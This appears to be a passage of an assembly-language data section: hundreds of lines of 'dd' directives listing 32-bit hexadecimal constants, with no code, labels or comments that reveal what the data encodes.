		dd 92D4ACAFh, 0AA0680B2h, 8C92DAC6h, 12222B00h,	0FD8CBB6Fh
		dd 167D383Fh, 8EA97900h, 6292FC77h, 0ABE3B0C2h,	348C4046h
		dd 0D42D816Eh, 0F61643C9h, 98401CEDh, 2B1642B3h, 0BDE0B6CFh
		dd 0FD0F81Ch, 0DD67EFFh, 0F2506497h, 10B74CC1h,	4A84A95Fh
		dd 785CC299h, 0C61060D6h, 0A0B4E6D3h, 50DDA93h,	1EB9142h
		dd 0FEB80F96h, 28A52340h, 6D50F9C4h, 3113F698h,	0D8A82CF0h
		dd 8C3AF8h, 4F33917Ah, 53D3869Ch, 10D32D4Ah, 0A70DD111h
		dd 0A886006Ch, 0A609A951h, 99164h, 0A1AE9F43h, 7F820127h
		dd 0D28B3366h, 21106D6Ah, 71A8A9B6h, 0FE1893h, 3C299E9Dh
		dd 0CC36177h, 3F30C022h, 0E60F08F3h, 6AEF06FAh,	0B800C294h
		dd 9FA2D80Ah, 655AA617h, 0FCBD9CD5h, 0EC1287ACh, 7013CA50h
		dd 2622F8A9h, 0F45E207Fh, 88DE816h, 1DB87439h, 391AD107h
		dd 90C1C7ADh, 0B7112A53h, 0CC6E2E79h, 53A41E04h, 2044F521h
		dd 0DE26D890h, 8510D4A8h, 0E182A209h, 7A60C85Ch, 0B662E89Fh
		dd 15325110h, 0D501ACFCh, 0C04A2284h, 0A3198135h, 752A338Dh
		dd 0E0F7D8E4h, 89D9379Ch, 0A8EA8168h, 0AF2CE0BBh, 0E894725Fh
		dd 7600F8ADh, 0C2077906h, 7A1350BDh, 0C8ACAB5Ch, 38C56ECh
		dd 9F2025A2h, 0C816479Ch, 44910DC0h, 492B2CE7h,	0F8C677D4h
		dd 0DC99CDE8h, 4ED9F68Bh, 59ECB960h, 2E21891h, 72B03D6Dh
		dd 54E3B7D6h, 3D48F1B5h, 4CB2D250h, 1CC798B7h, 0C2C6F1F0h
		dd 0A0173E9Dh, 900338A5h, 0AFFAD9F3h, 0B057C76h, 0CC90D5F4h
		dd 59EB2CDAh, 0F61E3C13h, 0A5A38237h, 0F0E1310Ah, 40132F2Dh
		dd 0B3B8A8A9h, 721A8109h, 0E60484AFh, 7BF2B8E2h, 5148530h
		dd 72119252h, 899CF8C1h, 0A5D4F6E7h, 0C91EE4B7h, 2E840601h
		dd 1020979Eh, 256D40E0h, 0F500AC98h, 0D32219D9h, 0C0A63A23h
		dd 0DA400C79h, 61FA777Ah, 765D9C00h, 0EEDCD751h, 4BF4FA70h
		dd 43E0E0A2h, 9C4BF6FAh, 24330CF1h, 0B9882200h,	0D9DAB6D0h
		dd 7D8EFC10h, 0DD724605h, 44704FA7h, 18302530h,	0F53A9F0h
		dd 0AE87F5ACh, 0BA4A9664h, 0A800106Bh, 0E280990Ch, 0D200AFB5h
		dd 4ABACAC6h, 4ED624B6h, 23DC2B42h, 0CE0F0078h,	98D18AEEh
		dd 60903A4Ah, 55C858h, 0C60906F8h, 0BAE93814h, 185AB000h
		dd 0D852B5DFh, 0FA84A05Bh, 48458067h, 36A40E16h, 0DCEC8C94h
		dd 2169E618h, 4914656h,	0CAD393h, 0C6C8AAD7h, 0C3550045h
		dd 893B9DF7h, 2540D195h, 0E185108Dh, 810F0D1Bh,	0BD7B3110h
		dd 94100BDh, 4AD2DB64h,	0E4CB02F0h, 5090DE3Fh, 0C072F5h
		dd 33A4B813h, 0BD73A3Dh, 237C1703h, 80269493h, 1B7B328h
		dd 11BE905Eh, 0D470A27Eh, 0E51C9277h, 8B036A7Ch, 7D211DBDh
		dd 4150F86h, 0FEB65E53h, 15C884CBh, 0DAFBACCFh,	480800A8h
		dd 0C083F806h, 5E115105h, 8C1E0CE9h, 0E2D500F9h, 41DE2F0Eh
		dd 90E69171h, 0F28B6600h, 7E7FBE50h, 0B7357A69h, 465C29FEh
		dd 1BAE2618h, 8BB65C02h, 2472F5F3h, 0A7035090h,	89D4C335h
		dd 815E01E3h, 4A36F0D6h, 0F9108034h, 182595FFh,	0F67EBD44h
		dd 0E17465Eh, 41FF8EB4h, 19D1B58Bh, 979DFA50h, 0BD47769Ah
		dd 7D66D5Eh, 745CFFECh,	46014955h, 0BE1D2195h, 0E685365Ch
		dd 0FAA3810Ch, 0F7AD75DDh, 0B2B4B1FDh, 0E4BFCF55h, 62072F24h
		dd 87048AA1h, 7DBD8150h, 0D04CCC16h, 861A0F25h,	350C019Bh
		dd 72B1805Eh, 8BFBF5BDh, 0D639D74h, 82E38160h, 6A59F701h
		dd 22181AD1h, 6F3A2500h, 0BF5CAA3h, 850F1BDBh, 0BFB025D5h
		dd 0BD1B83F6h, 16F6074Dh, 0FF6F8414h, 1DC8F88Eh, 0FC8A09C0h
		dd 9C370017h, 91358DD7h, 0B5188960h, 8BD80F7Dh,	0BD617ACBh
		dd 2380FADCh, 0B8C2131Fh, 513F01DDh, 0C129A97Eh, 0F7D8407Bh
		dd 866BE961h, 3BE5DD96h, 35611BE4h, 72F87A99h, 85C7F982h
		dd 21B27C88h, 1819F1DFh, 7ABE00EBh, 66DBA021h, 0C917E681h
		dd 0DEBEE92Eh, 9569C295h, 0B311E12Ah, 21C25649h, 238DF98Bh
		dd 0A2D74317h, 0C7E5301Bh, 0D4E4C200h, 81B16FB8h, 0FEFF3923h
		dd 44B5A773h, 7FE26018h, 534F2FE5h, 0ED2FA05Fh,	3CB986Ch
		dd 9C9654CCh, 0D5A8A104h, 8B2FC710h, 0FD1857F1h, 0F6A77384h
		dd 0E601AE4h, 0E809273Dh, 0AC6D7F9Ah, 98F8069Ch, 1C81205Eh
		dd 0EB8BF00h, 0BD8915D1h, 160C6479h, 9B8AC750h,	74BADF0Ah
		dd 0C711646h, 11E98E71h, 0A800DF17h, 354BBE4Ah,	0EE0B88Fh
		dd 7DFE5F70h, 7CFA9280h, 45E01E9h, 1C5D6FEFh, 0B124B0F4h
		dd 2FA0191Fh, 207D70E6h, 0C2AAE31Ah, 1D540029h,	5805BC79h
		dd 0E1001133h, 0C4FCF681h, 2C5E3CD1h, 87B71E4h,	92390FE5h
		dd 5F3AD8B6h, 25001D23h, 1BB06BDFh, 0A4260480h,	24BAD551h
		dd 0C397C75Ch, 0C036DAAFh, 321C6575h, 0BF895E53h, 8CE8684Ah
		dd 7AECDD40h, 2EAF0027h, 87D3AC9Dh, 2C00E70Bh, 0AD12EA72h
		dd 0C07C8B4Fh, 315EFB88h, 3616D8Dh, 4E8C146h, 0ACDDED7Ah
		dd 58F20005h, 89D1CEC6h, 291611A6h, 3E21CD9Dh, 794BE2F7h
		dd 0B7C11788h, 68F2F729h, 0B1D82BDAh, 1819D1BEh, 0D989053Ah
		dd 8157AB6Dh, 2BDC0h, 510F5093h, 0CF206888h, 0B2DE8813h
		dd 6C2DFB00h, 0BCA463D8h, 0A0920086h, 7D1BEBE2h, 0FD00050Bh
		dd 936136B5h, 59318D01h, 0B17BBD32h, 717C2197h,	4A8181Ah
		dd 9A766FC7h, 81E680BDh, 121744E7h, 0D1BB9D89h,	244D95B2h
		dd 0BD2A09EBh, 0B04CE52Dh, 8C16EC21h, 67C09100h, 0E1D6A5BEh
		dd 0A1A89051h, 9221F016h, 1EF81E0h, 1ECDC218h, 7B613C5Eh
		dd 9C95A0A8h, 1D40BF5Eh, 75CA2325h, 0C5540751h,	35D47DBAh
		dd 12F7EB06h, 0F4A49BA0h
		dd 0F058AC02h, 40CD0A29h, 811875DDh, 0A1EE4253h, 0E55F8AA7h
		dd 49E6EAC3h, 0C9BBCDB0h, 7F325009h, 90458AB5h,	71C560B4h
		dd 642A6C74h, 0F9021523h, 528F0F41h, 6C87EC80h,	0E1D20D06h
		dd 794F1441h, 52C41588h, 31B51780h, 88588116h, 2C02F9BCh
		dd 310519DEh, 0F5D1F560h, 876EA861h, 97013532h,	8D51A480h
		dd 41B50B20h, 94B92E40h, 7875AB19h, 8F0160A6h, 4DB3FE3Dh
		dd 40C2C183h, 8010A167h, 0AECAD93Bh, 467633EBh,	0B6312C14h
		dd 0AD7AD916h, 0EBD43500h, 0F60A23E5h, 2ED8C159h, 16FC759Fh
		dd 110EFBAh, 85892D98h,	316974BDh, 33A9B51Ah, 80DD6C0Ch
		dd 802DFDE0h, 8512295Bh, 134A2625h, 465C42C3h, 1F5A0116h
		dd 8343DC0h, 0D776EA29h, 54DABB23h, 93AFC2C0h, 0A500F260h
		dd 0BE5AB1BCh, 4BD0F18Ch, 81BA2027h, 0E2248BCEh, 0C0123F0Fh
		dd 0D817D51Eh, 0C0A39ABFh, 25170AFBh, 5839E8DDh, 0C70A6F2Ah
		dd 82A3D185h, 5C21CF57h, 2CE0EDEDh, 11E67653h, 0AE91Fh
		dd 2097C836h, 26FA6EFh,	9C6DC9Fh, 22E8AD85h, 0B8066660h
		dd 61F8348Bh, 95679E2h,	5F1F41BFh, 850EA767h, 9BBB1756h
		dd 4938C0EFh, 0A285FFF6h, 7065532Eh, 0BE3FE265h, 12958293h
		dd 0F5F8BAFEh, 0DC0565F2h, 0EAB2E741h, 0CC5F0C82h, 29499B76h
		dd 1817D11Fh, 0DAD017D8h, 6ACCEBEEh, 2BD9209Dh,	7869058h
		dd 0FF2C6DFh, 603748D9h, 91F60380h, 20D1B509h, 10922C58h
		dd 61172E9Dh, 0C6DABBFCh, 0C88201C9h, 0C0C0C21h, 61266131h
		dd 207EDB5h, 79A259F9h,	8F181Ah, 6FC8BCFh, 9FBE52ACh, 6A44041Fh
		dd 1D555EB1h, 91BD0B00h, 5E482D92h, 8C18E892h, 0A44EB004h
		dd 0F1C486F9h, 8D95AE30h, 32C08228h, 0E54DD5E0h, 7FB13536h
		dd 6EEDA2FAh, 62CCA18h,	261B1508h, 4023110Fh, 66B11DDEh
		dd 5A20099Ch, 0F65240E9h, 25D1524Eh, 779CD700h,	50452C70h
		dd 86800FEh, 60DF923Fh,	2BE480BAh, 0DD6A7C62h, 0E961002Fh
		dd 0FF71F79Dh, 65809A90h, 1303F681h, 31420329h,	261E8B95h
		dd 748EC1A7h, 0AC001A46h, 0F5FCB0B6h, 50086DC4h, 0A504EB5Eh
		dd 1B119A9Dh, 47088080h, 5301E9C1h, 0BD2BEE1Dh,	0F97B2225h
		dd 3355A4Fh, 0B016E6EBh, 64E5D647h, 400F9E20h, 4DD4D7ADh
		dd 0C790382Ch, 42481480h, 80E3DEC1h, 0FD245F4Bh, 1D88B0CEh
		dd 3ED6BEC0h, 56480E68h, 34094281h, 0D985ED81h,	0BE977423h
		dd 6171A012h, 0A80C1008h, 2B10FDE2h, 751D5B5h, 6390617Dh
		dd 992D7E8Ah, 894A133h,	0B97E4813h, 1E3B8BEh, 34B76823h
		dd 2050BD6Fh, 60890824h, 25C2C671h, 9057B061h, 0F18B501Dh
		dd 47D78100h, 0D73C5F12h, 0B4DABF7Eh, 7C5733C2h, 21BAAD43h
		dd 0B61EA510h, 0D134C30h, 406D5E81h, 58C18ACh, 66527555h
		dd 36C605CDh, 4A3FB71Dh, 0F907D06Ah, 0F01C143Bh, 53547ED6h
		dd 2F05634Eh, 41B3D3FFh, 0C7BC9049h, 60CC3700h,	0E932D8B5h
		dd 2C075B9Ch, 13411260h, 0AC65F97Bh, 6B98380Ch,	439FBC82h
		dd 340FA51h, 36B0CFB7h,	886C805h, 83B36104h, 9E012FC5h
		dd 8351C2DCh, 72DAF5FBh, 0A2491C00h, 790EC53h, 0E52700B0h
		dd 7134F1A7h, 9D168B59h, 95DC2B79h, 4D5E5B53h, 294BB275h
		dd 586AB81Dh, 0DE1FB32Ch, 0BD8382F3h, 94D9114Ah, 0DB2F331Ah
		dd 0EC1171C3h, 63140A1Fh, 411E810Fh, 658202B7h,	27A2BE20h
		dd 0E41E5CBBh, 58694041h, 876BAE5Fh, 60E51600h,	82B194D4h
		dd 4D6EB705h, 0F7EF2CE9h, 92F3A2D5h, 952D150h, 606139BDh
		dd 0F1D84D8Dh, 0D3356CF8h, 16288930h, 3872003Ah, 909DCABBh
		dd 0DB01A38Eh, 3250583h, 176DC2BEh, 3F6765C9h, 1F6018C4h
		dd 9525F1B6h, 4132B2C2h, 6640E872h, 1325B7DFh, 107DEBDh
		dd 5E30CF1Bh, 8E52C550h, 81310F2Ch, 90585AF0h, 1588CC4Eh
		dd 0FA018C0h, 2F0090BFh, 37770371h, 25AC8193h, 70019DC4h
		dd 0D3DD294Dh, 0AA2227BCh, 0F704358Dh, 8F8E70E6h, 0E0CE1A88h
		dd 139D9F76h, 89010B58h, 0A0A2C98Dh, 4FD371E4h,	3BE0E170h
		dd 272E0B03h, 0E150B5Eh, 1544456Dh, 0BA92EC60h,	0A1622A9Eh
		dd 0E4DF0E17h, 1C467477h, 0EE2F9E00h, 966507EBh, 81F66FF0h
		dd 0E476F702h, 0D85F7519h, 0F9DEBD23h, 534931D6h, 2090DA8h
		dd 8DBAC060h, 2687BAD5h, 44C6158h, 0F06546CFh, 0D87A2BBFh
		dd 0CE32BF14h, 238510F5h, 0FE9F933Bh, 0F3BBBD50h, 36EDAh
		dd 26165CC1h, 7B693262h, 6977969Ch, 98AE0E80h, 7D96424Ch
		dd 3528F36Ah, 5EC6810Eh, 0E42290Fh, 0A065BE38h,	5B22BEA3h
		dd 1B3048FDh, 4088E82Eh, 4286EC89h, 10B81F00h, 7CC1F0A0h
		dd 42B7B425h, 840801E0h, 0B009D016h, 0E9142F3Ah, 20EC468Ch
		dd 3A60269h, 17EE5CBFh,	0A5B6FC3h, 0B82AE897h, 0F630AE0Ah
		dd 4674B9A6h, 0C157217h, 0BE37FF6h, 62058529h, 6893326Bh
		dd 0A27FEC43h, 3832C0F4h, 6563E4FCh, 0A4F6CC58h, 568A5559h
		dd 60A84784h, 863ECCD5h, 8B93C26h, 2A986500h, 2FFD50DAh
		dd 9D106CB4h, 3700C041h, 5330954Fh, 12647Ah, 2A61FD17h
		dd 0C0ECA379h, 90EA6827h, 16EBB501h, 1C8044A4h,	2E014222h
		dd 88D15E5Fh, 12788D23h, 0EE0C2668h, 1511082Dh,	9585133Bh
		dd 91F1FDC4h, 0D3E8132Ah, 434BD68Eh, 0E804BA6Eh, 85863A02h
		dd 66491ABEh, 29129778h, 77533D8Dh, 0D79A7BC8h,	2436E3Fh
		dd 4A70C56Ah, 713CCA96h, 1819F117h, 186904D6h, 80F7E7ECh
		dd 5B2B994Bh, 1544BCA7h, 60559761h, 9E90FF43h, 0F52B7B81h
		dd 0EDBA7060h, 4A401A41h, 5AB886F1h, 0E9C6261h,	1BD4E129h
		dd 0A95CF802h, 0C9490F49h, 799042C0h, 0D63CAC79h, 0C9BF88C4h
		dd 359DD981h, 0B47A1862h, 8F48257Dh, 10284913h,	5D55EE3Eh
		dd 5C4C20B6h, 310E7019h, 52710190h, 29061E78h, 28249195h
		dd 3879539Eh, 0C017C80Fh, 0FC872E79h, 9E6C54B4h, 683141CDh
		dd 0EFD08012h, 17EAFDD6h, 0DD9F2B33h, 196A2AABh, 20DFBB2Fh
		dd 0C603ADE5h, 0EBF4F7h, 8C34A6B2h, 5D0F17A4h, 7401CCF2h
		dd 0B529A845h, 5F022F61h, 87B0F36Ch, 905DFC13h,	0F1E18CA6h
		dd 0B8DA6DECh, 9D3C26CAh, 60F30B80h, 640EE8FDh,	8ED00CDh
		dd 0EB5660Ah, 470370F8h, 413F4D39h, 78CC8C60h, 0CDF00B0h
		dd 8D88BDD7h, 65007B30h, 0C9D66382h, 3D529E5h, 5BEC6693h
		dd 354C8F0Fh, 88EA023Ah, 0C075DF2Ch, 801E19CDh,	0B80C6061h
		dd 3233CDACh, 0A7BE848Eh, 176A4E40h, 29720085h,	0A046E324h
		dd 0A8000216h, 0C5B98C77h, 0E2612B8Dh, 2008B0F8h, 0BE770BD9h
		dd 19DE700Bh, 1069FF31h, 0FA762053h, 0D5BE5E03h, 0C7324846h
		dd 57E34C41h, 0C0B8F46Dh, 9ADE860Ah, 920EEE95h,	0C58861B3h
		dd 142F5101h, 0A605BAC8h, 1F8A0FB0h, 61608B6Ch,	984F403h
		dd 0B5891504h, 0CA8818E1h, 0BA601CF7h, 16308796h, 0C51F20Bh
		dd 0C880CC74h, 0F893E961h, 41FEE3FFh, 3D932F86h, 8003E283h
		dd 0AFC66B85h, 0B1810797h, 994E41E5h, 4DF74C80h, 7EBF5089h
		dd 248249D8h, 5F011DA5h, 0A97EC18Bh, 38DFAC68h,	0B88B7E4Ch
		dd 8546F18Bh, 23108ABEh, 0C9132648h, 9068E202h,	54CC4ED7h
		dd 0B7EF0097h, 5B295335h, 0DF4832F0h, 0A7E20127h, 0C44B9F34h
		dd 218E6068h, 0D15E9D00h, 7B1D10B9h, 8F01ED05h,	5FDB116Dh
		dd 0F6D26168h, 3107A093h, 35500542h, 0B1BE3986h, 5F3523F9h
		dd 0C5071B6Eh, 0C1A58A98h, 396AE5C8h, 0E8DFBCC8h, 519D1401h
		dd 6B8EAC1Ch, 0A6D248CEh, 0D02EE287h, 0C41F856Bh, 0A9776115h
		dd 0A221439h
		dd 931F3AEEh, 0F5C2075Dh, 1ECC34Dh, 0DC96C4BFh,	0ACB09020h
		dd 0AB314129h, 9B828B17h, 0AF6ED1F8h, 45EB2077h, 5AE482ECh
		dd 9A547494h, 0FFDEC2FDh, 81EC84D3h, 4E3DCCE1h,	58C17ACh
		dd 5F8F12ECh, 39C28160h, 0F3604C23h, 0C9EDF405h, 96E06162h
		dd 6323C92Ch, 75C5C3F1h, 0F0DBEB13h, 0FE6109C0h, 81E4BA0Fh
		dd 0E8936596h, 79252120h, 126CEE74h, 0F05CDh, 9ADCB39Ch
		dd 984CECBBh, 2E350420h, 52A81CEFh, 12486F0h, 0ED80ED9Bh
		dd 5ED3150Bh, 544B008Fh, 0CD591BC7h, 0B13BAF10h, 923D97ABh
		dd 8199A20Ah, 8236372Dh, 2201D86Ah, 7BA47BD1h, 2E17EF05h
		dd 3E327EA5h, 59B03246h, 124CB43Bh, 483401F5h, 1ACFBD83h
		dd 498B7F68h, 366000EFh, 962ABF2h, 9896B8C5h, 0E9F88C81h
		dd 0FD57AF3Fh, 97854D35h, 0FCC6AD82h, 6A959EACh, 0C9D083Ch
		dd 1533A8A5h, 0F389104Eh, 4BD2B408h, 0EDC09ACDh, 42B2E55h
		dd 296E8808h, 4FB5E995h, 0B5337C30h, 4B254B0Dh,	0AF09DB35h
		dd 21456DE4h, 0E45D841h, 0C185742Eh, 407F9B0h, 0B28E3281h
		dd 2653ED1h, 67293420h,	0A9A1F503h, 5B40576Fh, 58B89507h
		dd 0A22FAC6h, 0DAB6600Fh, 0AECDAA23h, 0F9806193h, 20D277E7h
		dd 55953564h, 6D8082B5h, 33BF1149h, 0B0A702EEh,	1E25BD31h
		dd 3ED7D82h, 35A738D1h,	0CECD09B5h, 890B46F0h, 441A31BDh
		dd 0DABA8337h, 11D7B09h, 36A0F6BFh, 135C2C63h, 9E5385B5h
		dd 4FC0039Eh, 9646B53h,	146DBD13h, 0B94DABA6h, 9F03E7ACh
		dd 6E384FC4h, 0BDA610E8h, 0D82B142Ch, 7CD109Eh,	1C92503Bh
		dd 0E020A624h, 464AE37h, 8AE092C6h, 49FACC1Dh, 0D327FE09h
		dd 0BC576E50h, 2007D44Bh, 0DA68D096h, 0C5738A43h, 5C25E6C2h
		dd 0B0F550B6h, 0EFD1799Bh, 589A56C8h, 6124C860h, 6937255Ch
		dd 4A51A43Dh, 0DF35FF2Fh, 0FA750D81h, 61F4DCE5h, 44175AF3h
		dd 0ED02C079h, 3AEFE830h, 808989A2h, 0E8242BCh,	0AFDB1AB9h
		dd 465C0C24h, 0FAC2001Dh, 40F5600Ch, 0DE751209h, 0F46E884Fh
		dd 91A0B700h, 0CD24E362h, 6D7E052Dh, 81819FCAh,	0A2C7E49Ch
		dd 8E83E68Bh, 681F9DB9h, 0F3F9A3D8h, 0D91AF285h, 181BF9DEh
		dd 8BBA0003h, 3E627AB9h, 0BD1201DCh, 0E2740C95h, 5D12DC6Bh
		dd 4A1216h, 51569824h, 0F80BC681h, 64493BCFh, 6E584AD3h
		dd 0B0141F37h, 9EF9C741h, 0F9691FCFh, 606BB522h, 0BDB10102h
		dd 79070315h, 5FC96C85h, 0AE44A5AFh, 0C026D400h, 196ECBE2h
		dd 0B64B01C1h, 2E1CE195h, 666A3ECCh, 1C001D23h,	0F4D7CD56h
		dd 0B5B10931h, 0B18DE7Fh, 0CA1C4149h, 0EA83DB5Bh, 90026BE1h
		dd 0ADAF1B5h, 0FCD986D5h, 3F8A8055h, 705A73E4h,	5DC50900h
		dd 0B4205619h, 0B4519861h, 81902804h, 4039E842h, 34600501h
		dd 0C4FE6E16h, 3DFD730Eh, 1C8E00ABh, 9EC8F72Dh,	5FC5380Dh
		dd 0B2445DBh, 1F7F6F01h, 86812BDAh, 88F5B82Ah, 246CD8C9h
		dd 80F69B4Fh, 0CFF70ADBh, 8EA80003h, 8D297EABh,	48B61EF1h
		dd 9D5691C4h, 0A9013928h, 26E9E5FCh, 8B5991Fh, 5B172131h
		dd 61599D30h, 74EE00AEh, 5416AAEFh, 0FACB7CE0h,	0D31F62C3h
		dd 5F43110Ah, 3A4A40EEh, 992CA453h, 222A115Ch, 0BF660204h
		dd 48E9DBADh, 0F603DEh,	3D7627Dh, 9F2F870h, 63758D27h
		dd 0C08BC182h, 79F11976h, 0D23F3E02h, 0E3031423h, 0E6659D29h
		dd 4489B78Ch, 0E6B08C52h, 0A0701730h, 5BDDBD0Bh, 52416C2Fh
		dd 601AE487h, 920841Bh,	0CD578A92h, 21111582h, 1E27EAD2h
		dd 64A2CD7Fh, 0E33B6016h, 0F38B2ECFh, 61875504h, 0C14F25C5h
		dd 0A7FEC971h, 2917326Bh, 652721FEh, 71E2A9C0h,	77181Bh
		dd 11740817h, 90B3323Ch, 0D520AC98h, 52FC3123h,	4157510h
		dd 7100D0E2h, 9C64EC27h, 8D00D332h, 6C969D9h, 0C4AF9117h
		dd 122C0134h, 0B5033802h, 437C7405h, 0AAF41755h, 1B857EDh
		dd 54E26B04h, 6BA165DCh, 1C44A641h, 34808E6Ch, 0BD0A79A3h
		dd 3C009D74h, 7FC5035Ah, 607DCAEh, 0A58D011Ch, 0F85BE70Fh
		dd 2D09CD6Eh, 1E827071h, 0DDFA2EF5h, 0B0221127h, 12EA290Dh
		dd 0AE264CA7h, 0F83462A6h, 0FC93E432h, 808BF6BFh, 0D549C922h
		dd 0C0031C33h, 9159938h, 8FF188F0h, 898D2444h, 0AB0C14B0h
		dd 41C4184h, 0C1DBFC5Eh, 7D0DC0DCh, 7FD4B99Dh, 0E9D0E709h
		dd 0BEF0A2h, 623A8ABFh,	9D0B6067h, 500812B7h, 1221E4F2h
		dd 7B17818Dh, 80CB09A3h, 0D9AC8476h, 0C101492h,	1F40C55Ah
		dd 48DB0281h, 8B63190Eh, 0DE8039AFh, 5413370h, 1E18314h
		dd 17EB5FB6h, 0E0E1E6C4h, 5C3A79F3h, 5910D74Bh,	8C746D19h
		dd 0B8E86C39h, 0A406C417h, 56D8F70Ah, 9F4245BDh, 5F6DE479h
		dd 808ADB60h, 0A9862546h, 0FB812901h, 52B7A5D3h, 0C58E9A00h
		dd 17CE921Ch, 20E89E25h, 84D35B9Dh, 0D1339809h,	0D06A00B4h
		dd 0A28D0F5Eh, 0C6E80531h, 9C25E20Ah, 0C047CDA5h, 491DA462h
		dd 0A188E104h, 0DFC0B1B0h, 0C411C47Bh, 228C15Eh, 845FFC56h
		dd 0E63425D4h, 36C5A0B3h, 80D1B908h, 7A279F80h,	8B00F6C0h
		dd 188A0DD5h, 48FC4B57h, 0BE054C46h, 37276CD8h,	0F99A38EAh
		dd 0CF510A90h, 0EF5200DEh, 42515BF8h, 955FA8B0h, 0ECC7E88h
		dd 0D50490F3h, 7EECC101h, 7022D91Eh, 0FE3A8BC9h, 95B8095Ah
		dd 903816D4h, 1624099Fh, 3809F28Bh, 4F70DDDBh, 777CF22Ch
		dd 0F59724D4h, 0C2826C39h, 0D0D6D1A2h, 3D37A5h,	0F74F4913h
		dd 4E01307Ah, 858B8E24h, 123220ADh, 0ED83954Ah,	0BD4B8B7h
		dd 772EE9B2h, 0DA2DE2E2h, 0B06927B4h, 0B72E584Ah, 56C0A713h
		dd 0CD29AB13h, 3997C55Ah, 8116DEFEh, 0DB60B255h, 892AD564h
		dd 43881108h, 195EB0D8h, 2766EA4Eh, 425B0330h, 9B4E9BE2h
		dd 42B9813Ch, 0CC1010E8h, 0E003F14h, 1F4D19E2h,	46E939Dh
		dd 10685611h, 39EBC1F0h, 9958020Eh, 0F1772281h,	6CEED6E0h
		dd 3AAF9309h, 0CD6209A1h, 4D3AC0F4h, 7C045442h,	29A4EFCEh
		dd 744DCABCh, 84F08BC4h, 8BF3EC37h, 5A07EBBDh, 23A95418h
		dd 15D5C73Fh, 7B4DC654h, 885B7F2Ah, 224D9AC0h, 0F3007AE0h
		dd 23D3B2E6h, 0D13181B5h, 0F1504597h, 2B26160Ah, 33ADF585h
		dd 1CC1C43Ch, 0A1AEF665h, 6AF88FB1h, 159B1765h,	455304A3h
		dd 85C70416h, 0DB4BF0A7h, 0DF5D8062h, 9361D093h, 11278F6h
		dd 9BC7D410h, 7EBD601h,	0C2E99D61h, 80C03D57h, 0C61FB0AFh
		dd 82F0496Bh, 101E605Ch, 2B0403A5h, 92E159Dh, 716D5361h
		dd 0B7C2F0A6h, 1ACB7000h, 5160C18Bh, 79B52529h,	8CCDFB6Bh
		dd 0ED02E7D0h, 0B5D503EAh, 0BD0B403Bh, 7F598117h, 80E94932h
		dd 0DC20EE19h, 0F7111771h, 2B67B11Ch, 2502226Eh, 4B190822h
		dd 0D9F0F1FFh, 0AE2A0D38h, 3810946Ah, 6E7BB904h, 7F470079h
		dd 9E744FB0h, 8CA82D01h, 0B7576762h, 0B15B018Ah, 0A76213BFh
		dd 0E0C5E4FCh, 0DC38098Dh, 315E9669h, 0D09E7540h, 0A06E3920h
		dd 475C0074h, 5F7D87E5h, 824DE859h, 736E5AFCh, 10FF312h
		dd 0A508BE9Dh, 0E710611Ah, 0C1D0F8C4h, 5273EECEh, 65CF4A51h
		dd 9801E8h, 39F45F46h, 7B08446Ch, 67B6DD78h, 0B8A32B24h
		dd 0E0510978h, 186C006Dh, 2B053599h, 75B269BDh,	5D8D3112h
		dd 0B509E5C0h, 1267B201h, 0F407FCE8h, 28414989h, 84B98E96h
		dd 0D86F29h, 0A05237EDh, 32BD09A2h, 0C56F0A55h,	8DE94029h
		dd 99008221h, 0E8A65DC6h, 0EF07B427h, 8DFD4014h, 110F6D3h
		dd 0DC97195h, 0ECED01C2h, 6103D6C0h, 4FF105B0h,	8160C92Fh
		dd 68D45A16h, 0A3548082h
		dd 0EFB7D9h, 7864D857h,	6140FD04h, 74AE813h, 7BDC1F70h
		dd 0CAF63F71h, 0DDA2D832h, 8B141D54h, 2DE8C6C4h, 22B7B533h
		dd 5C0CB40Ch, 0B5F7A855h, 5544DAE6h, 0DF707A7Bh, 595049F1h
		dd 0DE317113h, 6A879C51h, 9E74AF76h, 0B5F560ABh, 0D1822029h
		dd 0A6E88F39h, 8002DE36h, 4E8E15ECh, 93CD275Ah,	7E493262h
		dd 0AAB50030h, 657469E8h, 0A22017D3h, 0C993296Eh, 5573C26Dh
		dd 0D6357Ch, 0B686683Ch, 7F47D9Ah, 0F4712437h, 43E90F16h
		dd 0A2304232h, 30A93114h, 909DCEB5h, 0EC728Eh, 8765EE01h
		dd 8D3591FDh, 49CA1B64h, 0B51236FDh, 0F2D32195h, 55C54805h
		dd 0ED2E16F7h, 725B7A7Bh, 4B076100h, 1E0D4CCh, 1465329Dh
		dd 22BB973h, 8203C184h,	520D4139h, 0D8F8610Ah, 0A3A2E8F6h
		dd 4358442Fh, 139D763Ah, 307F2E21h, 631758D1h, 13445500h
		dd 8247F391h, 0B3AC2A7Dh, 0B6717096h, 7F95F458h, 0F2CE9EA0h
		dd 0F5908713h, 6B2C2D22h, 9673D538h, 0FDCC4971h, 91C75845h
		dd 99B0CB32h, 4DB60CD0h, 84B34ADCh, 6E501C1Eh, 4A4DAD17h
		dd 6F1F0FC0h, 569633BEh, 12C4399Ch, 183205FCh, 5320B665h
		dd 4A999D29h, 0C404D42Ah, 0E6369516h, 7B15E0C3h, 84B607A8h
		dd 109813DDh, 69D981E7h, 143D9E12h, 8969A6A8h, 0E3C7EF0Fh
		dd 0F183957h, 2D008A90h, 993A3745h, 96AED67h, 0B4AC1034h
		dd 36C27478h, 568408E6h, 78142BA2h, 1B3B8BECh, 536600DDh
		dd 860F8FD0h, 606EE118h, 0EDDF97E5h, 0E5CE5200h, 51A59968h
		dd 625D00E4h, 0C37C37F7h, 9B90594Dh, 84789AB7h,	531F2939h
		dd 94AF17C3h, 77A83Eh, 0ED7ABE60h, 976147EAh, 69533B8Bh
		dd 0D4570h, 0B9514DFAh,	67D697DAh, 10075F5Ch, 814A19FDh
		dd 0A6118D5Ah, 6A60A639h, 0E998E26h, 5C92AA93h,	0F2B8E1A0h
		dd 66A0840Fh, 229FBD31h, 5D6050FEh, 82BFDE18h, 58497412h
		dd 810031A2h, 0EB8EE85Bh, 88976167h, 0EF02D874h, 541AD591h
		dd 0B2F96B94h, 0D508A3ACh, 0A95B1310h, 2DFFB803h, 9740B852h
		dd 655B958Dh, 79008D7Bh, 804971C4h, 892C98CDh, 4674881Ah
		dd 34370117h, 4289EAEFh, 8872CE2Fh, 0F0B3C514h,	27832212h
		dd 26426DDCh, 97DC84FCh, 6CA05F63h, 0CF69BF0Fh,	0C7326DDEh
		dd 4FEAC02Eh, 0CE0BA08Eh, 308A0F8Bh, 802865E8h,	9D2E2B60h
		dd 8084BFF9h, 1084D4E9h, 61E98A12h, 973AF9B8h, 1DC2865Bh
